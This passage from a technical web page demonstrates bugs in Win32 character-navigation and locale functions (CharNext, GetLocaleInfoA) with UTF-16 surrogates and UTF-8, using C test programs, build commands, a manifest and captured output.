if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
PrintConsole(hConsole,
L"%tu UTF-16 code units:\n",
sizeof(szWide) / sizeof(*szWide));
for (uiWide = 0; uiWide < sizeof(szWide) / sizeof(*szWide); uiWide++)
PrintConsole(hConsole,
L" %04hX",
szWide[uiWide]);
PrintConsole(hConsole,
L"\n\n");
for (lpWide = szWide, uiWide = 0;
lpWide = CharNext(lpLast = lpWide), lpWide != lpLast;
uiWide++)
PrintConsole(hConsole,
L"%tu code units at offset %tu\n",
lpWide - lpLast, -(szWide - lpLast));
PrintConsole(hConsole,
L"CharNextW() enumerated %u characters in %tu code units\n",
uiWide, sizeof(szWide) / sizeof(*szWide));
uiANSI = WideCharToMultiByte(CP_UTF8,
WC_ERR_INVALID_CHARS,
szWide, sizeof(szWide) / sizeof(*szWide),
szANSI, sizeof(szANSI),
(LPCCH) NULL, (LPBOOL) NULL);
if (uiANSI == 0)
PrintConsole(hConsole,
L"WideCharToMultiByte() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hConsole,
L"\n"
L"WideCharToMultiByte() returned %u UTF-8 code units for %tu UTF-16 code units:\n",
uiANSI, sizeof(szWide) / sizeof(*szWide));
lpANSI = szANSI;
do
PrintConsole(hConsole,
L" %02X",
*lpANSI++);
while (--uiANSI);
PrintConsole(hConsole,
L"\n\n");
if ((GetACP() != CP_UTF8)
|| (GetOEMCP() != CP_UTF8))
{
for (lpANSI = szANSI, uiANSI = 0;
lpANSI = CharNextExA(CP_UTF8, lpLast = lpANSI, 0), lpANSI != lpLast;
uiANSI++)
PrintConsole(hConsole,
L"%tu code units at offset %tu\n",
lpANSI - lpLast, -(szANSI - lpLast));
PrintConsole(hConsole,
L"CharNextExA() enumerated %u characters\n",
uiANSI);
}
else
{
for (lpANSI = szANSI, uiANSI = 0;
lpANSI = CharNextA(lpLast = lpANSI), lpANSI != lpLast;
uiANSI++)
PrintConsole(hConsole,
L"%tu code units at offset %tu\n",
lpANSI - lpLast, -(szANSI - lpLast));
PrintConsole(hConsole,
L"CharNextA() enumerated %u characters\n",
uiANSI);
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk34.exe
from the
source file quirk34.c
created in step 1.:
SET CL=/GAFy /J /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk34.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk34.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk34.c quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk34.exe quirk34.obj kernel32.lib user32.lib
Execute the console application quirk34.exe
built in
step 2. to demonstrate the (mis)behaviour:
.\quirk34.exe
19 UTF-16 code units: FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 2 code units at offset 1 1 code units at offset 3 2 code units at offset 4 2 code units at offset 6 1 code units at offset 8 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNextW() enumerated 10 characters in 19 code units WideCharToMultiByte() returned 32 UTF-8 code units for 19 UTF-16 code units: EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00 1 code units at offset 0 1 code units at offset 1 1 code units at offset 2 1 code units at offset 3 1 code units at offset 4 1 code units at offset 5 1 code units at offset 6 1 code units at offset 7 1 code units at offset 8 1 code units at offset 9 1 code units at offset 10 1 code units at offset 11 1 code units at offset 12 1 code units at offset 13 1 code units at offset 14 1 code units at offset 15 1 code units at offset 16 1 code units at offset 17 1 code units at offset 18 1 code units at offset 19 1 code units at offset 20 1 code units at offset 21 1 code units at offset 22 1 code units at offset 23 1 code units at offset 24 1 code units at offset 25 1 code units at offset 26 1 code units at offset 27 1 code units at offset 28 1 code units at offset 29 1 code units at offset 30 CharNextExA() enumerated 31 charactersOUCH¹: the
CharNextW()
function fails to detect
UTF-16
surrogate pairs
– it mistreats a space character (U+0020
)
followed by a high surrogate (U+D83D
,
U+D83C
), a low surrogate (U+DDEA
)
followed by a high surrogate (U+D83C
) as well as a lone
low surrogate (U+DE12
, U+DDFA
) as
one character!
Note: the surrogate pair U+D83D U+DE12
is the Unamused Face
emoticon 😒, and
the 2 surrogate pairs U+D83C U+DDEA U+D83C U+DDFA
are
the European Union Flag
emoji 🇪🇺, composed
according to the
ISO 3166
2-letter
country code
EU with
Regional Indicator Symbol Letter E
and
Regional Indicator Symbol Letter U
.
OUCH²: contrary to the highlighted statement
of the documentation cited above, the
CharNextExA()
function fails to handle
UTF-8
encoded multi-byte character strings at all – it mistreats
every single byte as a character!
Create the text file quirk34.xml
with the following
content next to the console application quirk34.exe
built in step 2.:
<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
<!-- Copyright (C) 2004-2024, Stefan Kanthak -->
<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
<assemblyIdentity name='Quirk34' processorArchitecture='*' type='win32' version='0.8.1.5' />
<application xmlns='urn:schemas-microsoft-com:asm.v3'>
<windowsSettings>
<activeCodePage xmlns='http://schemas.microsoft.com/SMI/2019/WindowsSettings'>UTF-8</activeCodePage>
</windowsSettings>
</application>
<compatibility xmlns='urn:schemas-microsoft-com:compatibility.v1'>
<application>
<supportedOS Id='{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}' />
</application>
</compatibility>
<description>Quirk34 Console Application</description>
</assembly>
Note: the double use of an
XML element
named application
is (at least) clumsy and error-prone!
Embed the
Application Manifest
quirk34.xml
created in step 4. in the console
application quirk34.exe
built in step 2.:
MT.EXE /CANONICALIZE /MANIFEST quirk34.xml /OUTPUTRESOURCE:quirk34.exeNote: the Manifest Tool
MT.exe
is shipped with the Windows Software Development Kit.
Microsoft (R) Manifest Tool version 6.1.7716.0 Copyright (c) Microsoft Corporation 2009. All rights reserved.
Execute the console application quirk34.exe
modified in
step 5. to demonstrate the (mis)behaviour:
VER .\quirk34.exe
Microsoft Windows [Version 10.0.22621.1105] 19 UTF-16 code units: FEFF 0020 D83D DE12 0020 D83C DDEA D83C DDFA 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 2 code units at offset 1 1 code units at offset 3 2 code units at offset 4 2 code units at offset 6 1 code units at offset 8 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNextW() enumerated 10 characters in 19 code units WideCharToMultiByte() returned 32 UTF-8 code units for 19 UTF-16 code units: EF BB BF 20 F0 9F 98 92 20 F0 9F 87 AA F0 9F 87 BA 20 61 CC 8A 20 61 CC 81 CC 82 CC 83 CC 84 00 1 code units at offset 0 1 code units at offset 1 1 code units at offset 2 1 code units at offset 3 1 code units at offset 4 1 code units at offset 5 1 code units at offset 6 1 code units at offset 7 1 code units at offset 8 1 code units at offset 9 1 code units at offset 10 1 code units at offset 11 1 code units at offset 12 1 code units at offset 13 1 code units at offset 14 1 code units at offset 15 1 code units at offset 16 1 code units at offset 17 1 code units at offset 18 1 code units at offset 19 1 code units at offset 20 1 code units at offset 21 1 code units at offset 22 1 code units at offset 23 1 code units at offset 24 1 code units at offset 25 1 code units at offset 26 1 code units at offset 27 1 code units at offset 28 1 code units at offset 29 1 code units at offset 30 CharNextA() enumerated 31 charactersOUCH³: contrary to the highlighted statement of the documentation cited above, the
CharNextA()
function fails to handle
UTF-8
encoded multi-byte character strings at all – it mistreats
every single byte as a character!
Build the console application quirk34.exe
a second
time from the source file quirk34.c
created in
step 1., now with the preprocessor macro QUIRKS
defined:
CL.EXE /DQUIRKS quirk34.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk34.c quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCWSTR' quirk34.c(71) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'const WCHAR *' quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' quirk34.c(113) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'LPCSTR' quirk34.c(126) : warning C4133: '-' : incompatible types - from 'LPCVOID' to 'CHAR *' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk34.exe quirk34.obj kernel32.lib user32.lib
Execute the console application quirk34.exe
built in
step 4. to demonstrate the misbehaviour
bugs:
.\quirk34.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
19 UTF-16 code units: FEFF 0020 DE12 D83D 0020 DDEA D83C DDFA D83C 0020 0061 030A 0020 0061 0301 0302 0303 0304 0000 1 code units at offset 0 1 code units at offset 1 2 code units at offset 2 1 code units at offset 4 2 code units at offset 5 2 code units at offset 7 1 code units at offset 9 2 code units at offset 10 1 code units at offset 12 5 code units at offset 13 CharNext() enumerated 10 characters in 19 code units WideCharToMultiByte() returned error 1113 0x459 (WIN32: 1113 ERROR_NO_UNICODE_TRANSLATION) -- 1113 (1113) Error message text: No mapping for the Unicode character exists in the target multi-byte code page. CertUtil: -error command completed successfully.OUCH³: with high and low surrogates swapped, thus creating an invalid
UTF-16
string, the
CharNextW()
function detects surrogate pairs– it was apparently written by an absolute beginner who probably sorted low surrogates (
U+DC00
to U+DFFF
) due to their higher
numerical value before high surrogates (U+D800
to
U+DBFF
) or was confused by Windows’
little endian byte-order which places low(er)-order bytes before
high(er)-order bytes, and obviously never tested!
CharPrevExA()
and
CharPrevW()
is left as an exercise to the reader.
Note: an evaluation of the (mis)behaviour and
bugs with the Win32 functions
CharNextA()
and
CharPrevA()
when the system’s (global)
ANSI
and OEM
code pages are set to 65001 alias CP_UTF8
is also left
as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
Aforms of the Win32 functions:
As of Windows Version 1903 (May 2019 Update), you can use the ActiveCodePage property in the appxmanifest for packaged apps, or the fusion manifest for unpackaged apps, to force a process to use UTF-8 as the process code page.The Win32 function[…]
Win32 APIs often support both -A and -W variants.
-A variants recognize the ANSI code page configured on the system and support
char*
, while -W variants operate in UTF-16 and supportWCHAR
.Until recently, Windows has emphasized "Unicode" -W variants over -A APIs. However, recent releases have used the ANSI code page and -A APIs as a means to introduce UTF-8 support to apps. If the ANSI code page is configured for UTF-8, -A APIs typically operate in UTF-8. This model has the benefit of supporting existing code built with -A APIs without any code changes.
[…]
Note
CP_ACP
equates toCP_UTF8
only if running on Windows Version 1903 (May 2019 Update) or above and the ActiveCodePage property described above is set to UTF-8. Otherwise, it honors the legacy system code page. We recommend usingCP_UTF8
explicitly.
GetLocaleInfo()
is documented in the
MSDN as
follows:
Retrieves information about a locale specified by identifier.Oops: contrary to the highlighted note, in Windows 10 1903 and later versions the[…]
Note For global compatibility, the application should prefer the Unicode "W" API forms to the "A" forms. GetLocaleInfoA will limit the character data and could result in results that appear corrupted to users, particularly in globally enabled applications. For this API, GetLocaleInfoEx is preferred as it is Unicode and also supports modern locale name standards.[…]int GetLocaleInfo( LCID Locale, LCTYPE LCType, LPSTR lpLCData, int cchData );
Locale
Locale Identifier for which to retrieve information. […]
LCType
The locale information to retrieve. For detailed definitions, see the LCType parameter of GetLocaleInfoEx.
lpLCData
Pointer to a buffer in which this function retrieves the requested locale information. This pointer is not used if cchData is set to 0. For more information, see the Remarks section.
cchData
Size, in TCHAR values, of the data buffer indicated by lpLCData. Alternatively, the application can set this parameter to 0. In this case, the function does not use the lpLCData parameter and returns the required buffer size, including the terminating null character.
[…]
Remarks
For the operation of this function, see Remarks for GetLocaleInfoEx.
[…]
Aform of this function supports but Unicode too!
Unfortunately the Remarks
section is empty and refers to the
GetLocaleInfoEx()
function, which is documented in the
MSDN as
follows:
Retrieves information about a locale specified by name.Oops: this function supports Unicode but only in UTF-16LE encoding, not in UTF-8 encoding, as theNote The application should call this function in preference to GetLocaleInfo if designed to run only on Windows Vista and later.[…][…]int GetLocaleInfoEx( LPCWSTR lpLocaleName LCTYPE LCType, LPSTR lpLCData, int cchData );
lpLocaleName
Pointer to a locale name, or one of the following predefined values. […]
LCType
The locale information to retrieve. For possible values, see the "Constants Used in the LCType Parameter of GetLocaleInfo, GetLocaleInfoEx, and SetLocaleInfo" section in Locale Information Constants. […]
lpLCData
Pointer to a buffer in which this function retrieves the requested locale information. This pointer is not used if cchData is set to 0.
cchData
Size, in characters, of the data buffer indicated by lpLCData. Alternatively, the application can set this parameter to 0. In this case, the function does not use the lpLCData parameter and returns the required buffer size, including the terminating null character.
[…]
GetLocaleInfoA()
function does in Windows 10 1903 and later versions!
The various
Locale Information Constants,
for example
LOCALE_SNATIVE*
,
are documented in the
MSDN as
follows:
Ouch: including a terminating
Value Meaning LOCALE_SNATIVECOUNTRYNAME Windows 7 and later: Native name of the country/region, for example, Españafor Spain. The maximum number of characters allowed for this string is 80, including a terminating null character.… … LOCALE_SNATIVEDIGITS Native equivalents of ASCII 0 through 9. The maximum number of characters allowed for this string is eleven, including a terminating null character. For example, Arabic uses ٠١٢٣٤٥٦٧٨٩. See also LOCALE_IDIGITSUBSTITUTION.… … LOCALE_SNATIVELANGUAGENAME Windows 7 and later: Native name of the language, for example, Հայերենfor Armenian (Armenia). The maximum number of characters allowed for this string is 80, including a terminating null character.
NUL
, the
UTF-8
encoded character string
u"٠١٢٣٤٥٦٧٨٩"
alias
"\xD9\xA0\xD9\xA1\xD9\xA2\xD9\xA3\xD9\xA4\xD9\xA5\xD9\xA6\xD9\xA7\xD9\xA8\xD9\xA9"
occupies but 21 instead of 11 characters, i.e. the second
highlighted statement of the documentation cited above is
definitely wrong!
Create the text file quirk35.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define ERROR_INVALID_LOCALE ERROR_INVALID_PARAMETER
#define LANG_MAX 0x01FF
#define SUBLANG_MAX 0x3F
#ifndef _WIN64
#pragma intrinsic(memcmp)
#else
#pragma function(memcmp)
int memcmp(char const *left, char const *right, size_t count)
{
size_t index;
int delta;
for (index = 0; index < count; index++)
if (delta = left[index] - right[index])
return delta;
return 0;
}
#endif
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwError = ERROR_SUCCESS;
DWORD dwPrimary;
DWORD dwSubLang;
LCID lcLocale;
CHAR szANSI[11];
WCHAR szUnicode[11];
INT iInfo;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
if ((GetACP() != CP_UTF8)
|| (GetOEMCP() != CP_UTF8))
for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
{
lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
if (GetLocaleInfoW(lcLocale,
LOCALE_SNATIVEDIGITS,
szUnicode,
sizeof(szUnicode) / sizeof(*szUnicode)) == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoW() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
#if 0
if (wmemcmp(szUnicode, L"0123456789", sizeof("0123456789")) != 0)
#else
if (memcmp(szUnicode, L"0123456789", sizeof(L"0123456789")) != 0)
#endif
PrintConsole(hConsole,
L"0x%08lX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX U+%04hX\n",
lcLocale, szUnicode[0], szUnicode[1], szUnicode[2], szUnicode[3], szUnicode[4], szUnicode[5], szUnicode[6], szUnicode[7], szUnicode[8], szUnicode[9]);
if (GetLocaleInfoA(lcLocale,
LOCALE_SNATIVEDIGITS,
szANSI,
sizeof(szANSI)) == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfoA() returned error %lu for LOCALE_SNATIVEDIGITS of LCID 0x%08lX\n",
dwError, lcLocale);
}
else
if (memcmp(szANSI, "0123456789", sizeof("0123456789")) != 0)
PrintConsole(hConsole,
L"0x%08lX %hs\n",
lcLocale, szANSI);
}
else
for (dwPrimary = LANG_MAX; dwPrimary > LANG_NEUTRAL; dwPrimary--)
for (dwSubLang = SUBLANG_MAX; dwSubLang > SUBLANG_NEUTRAL; dwSubLang--)
{
lcLocale = MAKELCID(MAKELANGID(dwPrimary, dwSubLang), SORT_DEFAULT);
if (GetLocaleInfoA(lcLocale, LOCALE_ILANGUAGE, (LPSTR) NULL, 0) == 0)
{
dwError = GetLastError();
if (dwError != ERROR_INVALID_LOCALE)
PrintConsole(hConsole,
L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
dwError, L"LOCALE_ILANGUAGE", lcLocale);
}
else
{
iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVECOUNTRYNAME, (LPSTR) NULL, 0);
if (iInfo == 0)
PrintConsole(hConsole,
L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
dwError = GetLastError(), L"LOCALE_SNATIVECOUNTRYNAME", lcLocale);
else if (iInfo > 80)
PrintConsole(hConsole,
L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
iInfo, L"LOCALE_SNATIVECOUNTRYNAME", lcLocale, 80);
iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVEDIGITS, (LPSTR) NULL, 0);
if (iInfo == 0)
PrintConsole(hConsole,
L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
dwError = GetLastError(), L"LOCALE_SNATIVEDIGITS", lcLocale);
else if (iInfo > 11)
PrintConsole(hConsole,
L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
iInfo, L"LOCALE_SNATIVEDIGITS", lcLocale, 11);
iInfo = GetLocaleInfoA(lcLocale, LOCALE_SNATIVELANGUAGENAME, (LPSTR) NULL, 0);
if (iInfo == 0)
PrintConsole(hConsole,
L"GetLocaleInfo() returned error %lu for %ls of LCID 0x%08lX\n",
dwError = GetLastError(), L"LOCALE_SNATIVELANGUAGENAME", lcLocale);
else if (iInfo > 80)
PrintConsole(hConsole,
L"Character count %d returned for %ls of LCID 0x%08lX exceeds %d!\n",
iInfo, L"LOCALE_SNATIVELANGUAGENAME", lcLocale, 80);
}
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
LOCALE_ALL
LOCALE_ALLOW_NEUTRAL
LOCALE_ALLOW_NEUTRAL_NAMES
LOCALE_ALTERNATE_SORTS
LOCALE_CUSTOM*
LOCALE_FONTSIGNATURE
LOCALE_ICALENDARTYPE
LOCALE_ICENTURY
LOCALE_ICOUNTRY
LOCALE_ICURRDIGITS
LOCALE_ICURRENCY
LOCALE_IDATE
LOCALE_IDAYLZERO
LOCALE_IDEFAULT*
LOCALE_IDIGITS
LOCALE_IDIGITSUBSTITUTION
LOCALE_IFIRSTDAYOFWEEK
LOCALE_IFIRSTWEEKOFYEAR
LOCALE_IGEOID
LOCALE_IINTLCURRDIGITS
LOCALE_ILANGUAGE
LOCALE_ILDATE
LOCALE_ILZERO
LOCALE_IMEASURE
LOCALE_IMONLZERO
LOCALE_INEG*
LOCALE_INEGATIVEPERCENT
LOCALE_INEUTRAL
LOCALE_INVARIANT
LOCALE_IOPTIONALCALENDAR
LOCALE_IPAPERSIZE
LOCALE_IPOSITIVEPERCENT
LOCALE_IPOS*
LOCALE_IREADINGLAYOUT
LOCALE_ITIME
LOCALE_ITIMEMARKPOSN
LOCALE_ITLZERO
LOCALE_NAME*
LOCALE_NEUTRAL
LOCALE_NEUTRALDATA
LOCALE_NOUSEROVERRIDE
LOCALE_REPLACEMENT
LOCALE_RETURN*
LOCALE_S1159
LOCALE_S2359
LOCALE_SABBREV*
LOCALE_SCONSOLEFALLBACKNAME
LOCALE_SCOUNTRY
LOCALE_SCURRENCY
LOCALE_SDATE
LOCALE_SDAYNAME*
LOCALE_SDECIMAL
LOCALE_SDURATION
LOCALE_SENG*
LOCALE_SENGLISH*
LOCALE_SGROUPING
LOCALE_SIETFLANGUAGE
LOCALE_SINTLSYMBOL
LOCALE_SISO*
LOCALE_SKEYBOARDSTOINSTALL
LOCALE_SLANGDISPLAYNAME
LOCALE_SLANGUAGE
LOCALE_SLIST
LOCALE_SLOCALIZED*
LOCALE_SLONGDATE
LOCALE_SMON*
LOCALE_SMONTHDAY
LOCALE_SMONTHNAME*
LOCALE_SNAME
LOCALE_SNAN
LOCALE_SNATIVE*
LOCALE_SNEGATIVESIGN
LOCALE_SNEGINFINITY
LOCALE_SOPENTYPELANGUAGETAG
LOCALE_SORTNAME
LOCALE_SPARENT
LOCALE_SPECIFICDATA
LOCALE_SPERCENT
LOCALE_SPERMILLE
LOCALE_SPOSINFINITY
LOCALE_SPOSITIVESIGN
LOCALE_SSCRIPTS
LOCALE_SSHORTDATE
LOCALE_SSHORTESTDAYNAME*
LOCALE_SSHORTTIME
LOCALE_SSORT*
LOCALE_STHOUSAND
LOCALE_STIME*
LOCALE_SUPPLEMENTAL
LOCALE_SYEARMONTH
LOCALE_SYSTEM_DEFAULT
LOCALE_USE_CP_ACP
LOCALE_USER_DEFAULT
LOCALE_WINDOWS
LOCALE_NAME_MAX_LENGTH
MAKELANGID
MAKELANGID
MAKELCID
Code Pages
Code Page Identifiers
Code Page Identifiers
EnumLocalesProcEx()
EnumSystemLocalesEx()
GetACP()
GetLocaleInfo()
GetOEMCP()
IsValidLocale()
IsValidLocaleName()
ResolveLocaleName()
SetLocaleInfo()
SetThreadLocale()
Build the console application quirk35.exe
from the
source file quirk35.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk35.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk35.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk35.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk35.exe quirk35.obj kernel32.lib user32.lib
Execute the console application quirk35.exe
built in
step 2. to demonstrate the (mis)behaviour:
VER .\quirk35.exe
Microsoft Windows [Version 6.1.7601]
0x000009FF U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x0000048C U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000463 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000463 ??????????
0x00000461 U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
0x00000461 ??????????
0x00000457 U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
0x00000457 ??????????
0x00000454 U+0ED0 U+0ED1 U+0ED2 U+0ED3 U+0ED4 U+0ED5 U+0ED6 U+0ED7 U+0ED8 U+0ED9
0x00000454 ??????????
0x00000453 U+17E0 U+17E1 U+17E2 U+17E3 U+17E4 U+17E5 U+17E6 U+17E7 U+17E8 U+17E9
0x00000453 ??????????
0x0000044F U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
0x0000044F ??????????
0x0000044E U+0966 U+0967 U+0968 U+0969 U+096A U+096B U+096C U+096D U+096E U+096F
0x0000044E ??????????
0x0000044D U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
0x0000044D ??????????
0x0000044C U+0D66 U+0D67 U+0D68 U+0D69 U+0D6A U+0D6B U+0D6C U+0D6D U+0D6E U+0D6F
0x0000044C ??????????
0x0000044B U+0CE6 U+0CE7 U+0CE8 U+0CE9 U+0CEA U+0CEB U+0CEC U+0CED U+0CEE U+0CEF
0x0000044B ??????????
0x0000044A U+0C66 U+0C67 U+0C68 U+0C69 U+0C6A U+0C6B U+0C6C U+0C6D U+0C6E U+0C6F
0x0000044A ??????????
0x00000449 U+0BE6 U+0BE7 U+0BE8 U+0BE9 U+0BEA U+0BEB U+0BEC U+0BED U+0BEE U+0BEF
0x00000449 ??????????
0x00000448 U+0B66 U+0B67 U+0B68 U+0B69 U+0B6A U+0B6B U+0B6C U+0B6D U+0B6E U+0B6F
0x00000448 ??????????
0x00000447 U+0AE6 U+0AE7 U+0AE8 U+0AE9 U+0AEA U+0AEB U+0AEC U+0AED U+0AEE U+0AEF
0x00000447 ??????????
0x00000446 U+0A66 U+0A67 U+0A68 U+0A69 U+0A6A U+0A6B U+0A6C U+0A6D U+0A6E U+0A6F
0x00000446 ??????????
0x00000845 U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
0x00000845 ??????????
0x00000445 U+09E6 U+09E7 U+09E8 U+09E9 U+09EA U+09EB U+09EC U+09ED U+09EE U+09EF
0x00000445 ??????????
0x00000429 U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9
0x00000429 ??????????
0x00000420 U+06F0 U+06F1 U+06F2 U+06F3 U+06F4 U+06F5 U+06F6 U+06F7 U+06F8 U+06F9
0x00000420 ??????????
0x0000041E U+0E50 U+0E51 U+0E52 U+0E53 U+0E54 U+0E55 U+0E56 U+0E57 U+0E58 U+0E59
0x0000041E ðñòóôõö÷øù
0x00004001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00003C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00003801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00003401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00003001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00002C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00002801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00002401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00002001 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000C01 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000801 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
0x00000401 U+0660 U+0661 U+0662 U+0663 U+0664 U+0665 U+0666 U+0667 U+0668 U+0669
NLSWeb
NLSWeb
NLSWeb
OUCH: instead of digits the
GetLocaleInfoA()
function yields the characters '\xF0'
to '\xF9'
for
LOCALE_SNATIVEDIGITS
with the
Locale Identifier
0x0000041E
alias
MAKELCID(MAKELANGID(LANG_THAI, SUBLANG_THAI_THAILAND), SORT_DEFAULT)
!
Ouch: while the
GetLocaleInfoW()
function yields the Arabic numerals
٠١٢٣٤٥٦٧٨٩
alias U+0660
,
U+0661
,
U+0662
